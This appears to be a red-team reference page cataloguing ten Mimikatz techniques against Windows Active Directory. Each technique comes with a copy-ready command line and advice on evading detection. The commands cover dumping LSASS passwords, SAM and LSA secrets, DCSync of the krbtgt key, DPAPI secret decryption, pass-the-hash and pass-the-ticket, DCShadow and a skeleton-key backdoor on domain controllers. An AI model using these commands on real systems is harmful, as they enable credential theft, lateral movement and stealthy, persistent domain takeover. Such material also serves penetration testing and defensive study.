DΛΣMӨП

Catalog WADComs

WAD · Tool

Mimikatz

10 techniques Windows · ActiveDirectoryWADComs GPL-3.0

Mimikatz-Crypto-ExportCerts

NEW
Credential AccessCollection WindowsActiveDirectory

Mimikatz crypto::certificates lists and, with /export, extracts certificates and their private keys from a CryptoAPI store to .pfx/.der files, even when the private key was marked non-exportable. crypto::capi (and crypto::cng for CNG keys) patches the key-provider in memory first so the non-exportable flag is bypassed. Point /systemstore at LOCAL_MACHINE for machine certs or CURRENT_USER for user certs; exported .pfx files enable certificate-based (PKINIT) authentication as that principal. Command Reference: Store: LOCAL_MACHINE\My Export password: mimikatz (default for exported .pfx)

mimikatz.exe "crypto::capi" "privilege::debug" "crypto::cng" "crypto::certificates /systemstore:LOCAL_MACHINE /store:My /export" exit
Native
Credential Access, Collection
Requires
Shell
Services
ADCS

Mimikatz-DCShadow

NEW
PersistenceDefense Evasion WindowsActiveDirectory

Mimikatz lsadump::dcshadow temporarily registers a rogue domain controller and pushes attacker-chosen attribute changes into the directory through legitimate replication (MS-DRSR), which sidesteps normal object-modification auditing. It runs as two cooperating instances: an elevated SYSTEM instance stages the change with /object, /attribute and /value, and a second instance holding Domain Admin (or the required replication rights) triggers the push with /push. Use it for stealthy persistence such as writing a primaryGroupID or SIDHistory. Command Reference: Target object: john Attribute: primaryGroupID = 512 (Domain Admins)

# Instance 1 (SYSTEM) - stage the change
mimikatz.exe "!+" "!processtoken" "lsadump::dcshadow /object:john /attribute:primaryGroupID /value:512"

# Instance 2 (Domain Admin) - push the replication
mimikatz.exe "lsadump::dcshadow /push" exit
Native
Persistence, Defense Evasion
Requires
Shell
Services
LDAP, RPC

Mimikatz-DCSync-Krbtgt

NEW
Credential AccessExecution WindowsActiveDirectory

Mimikatz lsadump::dcsync impersonates a domain controller and uses the MS-DRSR replication protocol (GetNCChanges) to pull the password data of a chosen account from a live DC, without ever running code on that DC or touching NTDS.dit on disk. Targeting krbtgt yields the KDC key needed to forge Golden Tickets. It requires an account with the Replicating Directory Changes / Replicating Directory Changes All rights (Domain Admins, Enterprise Admins, or a delegated principal). Command Reference: Domain: test.local Target user: krbtgt

mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:test.local /user:krbtgt" exit
Native
Credential Access, Exploitation
Requires
Shell
Services
Kerberos, LDAP

Mimikatz-DPAPI-Masterkey-Cred

NEW
Credential Access WindowsActiveDirectory

Mimikatz dpapi::masterkey decrypts a user's DPAPI master key from the Protect folder using their password (and SID), and dpapi::cred then uses that cached master key to decrypt a Credential blob into its stored plaintext secret. DPAPI protects saved RDP, browser, scheduled-task, and Credential Manager secrets, so this chain recovers them offline from copied files. If you lack the user's password, dpapi::masterkey /rpc asks the domain controller to decrypt the key with the domain DPAPI backup key. Command Reference: Domain SID: S-1-5-21-1339291983-1349129144-367733775 Password: password123

mimikatz.exe "dpapi::masterkey /in:\"%appdata%\Microsoft\Protect\S-1-5-21-1339291983-1349129144-367733775-1001\<GUID>\" /sid:S-1-5-21-1339291983-1349129144-367733775-1001 /password:password123" "dpapi::cred /in:\"%appdata%\Microsoft\Credentials\<GUID>\"" exit
Native
Credential Access
Requires
Shell, Password
Services
NTLM

Mimikatz-LogonPasswords

NEW
Credential Access WindowsActiveDirectory

Mimikatz sekurlsa::logonpasswords reads the authentication material cached in LSASS memory and reconstructs plaintext passwords, NT/LM hashes, and Kerberos keys for every interactive, service, and network logon session on the host. It requires local administrator rights and SeDebugPrivilege, which privilege::debug enables before touching LSASS. This is the classic loud credential dump; on hardened hosts (Credential Guard, PPL, or EDR hooking LSASS) it will fail or be caught, so prefer an offline minidump plus pypykatz when OPSEC matters. Command Reference: Target host: local Privilege: SeDebugPrivilege

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit
Native
Credential Access
Requires
Shell
Services
NTLM, Kerberos

Mimikatz-LsadumpSAM

NEW
Credential Access WindowsActiveDirectory

Mimikatz lsadump::sam decrypts the local SAM database using the boot key from the SYSTEM hive and dumps the NT hashes of all local accounts, including the local Administrator. Running it live requires SYSTEM-level access, so token::elevate is used to raise from an administrative shell to SYSTEM. The recovered local hashes are ideal for local pass-the-hash and for spotting password reuse across a fleet where the same local admin hash is shared. Command Reference: Target host: local Hive source: live registry (SAM + SYSTEM)

mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam" exit
Native
Credential Access
Requires
Shell
Services
NTLM

Mimikatz-LsadumpSecrets

NEW
Credential Access WindowsActiveDirectory

Mimikatz lsadump::secrets decrypts the LSA secrets stored under the SECURITY registry hive, exposing service account passwords, scheduled-task credentials, cached DPAPI machine keys, auto-logon passwords, and the machine account secret in cleartext. It needs SYSTEM rights, so token::elevate is chained after privilege::debug. LSA secrets frequently hand over a domain service account password that no other technique reveals. Command Reference: Target host: local Hive source: live registry (SECURITY + SYSTEM)

mimikatz.exe "privilege::debug" "token::elevate" "lsadump::secrets" exit
Native
Credential Access
Requires
Shell
Services
NTLM

Mimikatz-PassTheHash

NEW
Lateral Movement WindowsActiveDirectory

Mimikatz sekurlsa::pth performs pass-the-hash by starting a new process whose logon session is seeded with a supplied NT hash (or AES key), letting network authentication proceed as the target user without knowing their password. The spawned process (here cmd.exe) can then reach SMB, WMI, or WinRM as john. It requires local administrator rights on the box you run it from because it patches the new process's LSASS session; use /aes256 instead of /ntlm for an overpass-the-hash that requests Kerberos tickets. Command Reference: Username: john Domain: test.local NT hash: 2a3de7fe356ee524cc9f3d579f2e0aa7

mimikatz.exe "privilege::debug" "sekurlsa::pth /user:john /domain:test.local /ntlm:2a3de7fe356ee524cc9f3d579f2e0aa7 /run:cmd.exe" exit
Native
Lateral Movement
Requires
Shell, Hash
Services
NTLM, SMB, Kerberos

Mimikatz-PassTheTicket

NEW
Lateral Movement WindowsActiveDirectory

Mimikatz kerberos::ptt injects a Kerberos ticket (.kirbi TGT or TGS) directly into the current logon session's ticket cache, so subsequent tools authenticate with it transparently. Unlike sekurlsa::pth it does not spawn a process or need administrator rights, since it only writes to the caller's own cache. Use it to replay a harvested or forged ticket for pass-the-ticket lateral movement, then verify with klist. Command Reference: Ticket file: ticket.kirbi

mimikatz.exe "kerberos::ptt ticket.kirbi" exit
Native
Lateral Movement
Requires
Shell, TGT
Services
Kerberos

Mimikatz-SkeletonKey

NEW
Persistence WindowsActiveDirectory

Mimikatz misc::skeleton patches the LSASS process of a live domain controller in memory so that a master password (the hardcoded default 'mimikatz') is accepted for any domain account alongside each user's real password. It is a stealthy but volatile persistence primitive: the patch lives only in memory and is lost on DC reboot, and it downgrades some Kerberos encryption which detections watch for. It requires Domain Admin / SeDebugPrivilege on the DC and only works against DCs not running LSA as a protected process. Command Reference: Target: Domain Controller DC01 (dc.test.local) Master password: mimikatz (built-in default)

mimikatz.exe "privilege::debug" "misc::skeleton" exit
Native
Persistence
Requires
Shell
Services
Kerberos